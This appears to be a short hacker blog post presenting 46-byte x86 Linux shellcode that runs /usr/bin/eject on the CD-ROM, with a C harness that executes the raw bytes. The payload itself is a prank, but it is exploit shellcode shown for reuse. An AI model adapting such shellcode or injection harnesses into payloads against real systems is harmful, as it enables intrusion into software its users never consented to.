break a time, with break the c0de…

46 bytes cdrom ejecting x86 linux shellcode


/*
Name   : 46 bytes cdrom ejecting x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : ubuntu linux
*/

char sc[] = 	"\x6a\x0b\x58\x99\x52"
		"\x6a\x6d\x68\x63\x64"
		"\x72\x6f\x89\xe1\x52"
		"\x66\x68\x63\x74\x68"
		"\x2f\x65\x6a\x65\x68"
		"\x2f\x62\x69\x6e\x68"
		"\x2f\x75\x73\x72\x89"
		"\xe3\x52\x51\x53\x89"
		"\xe1\xcd\x80\x40\xcd"
		"\x80";

int main(void)
{
	(*(void(*)()) sc)();
     
return 0;
}
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s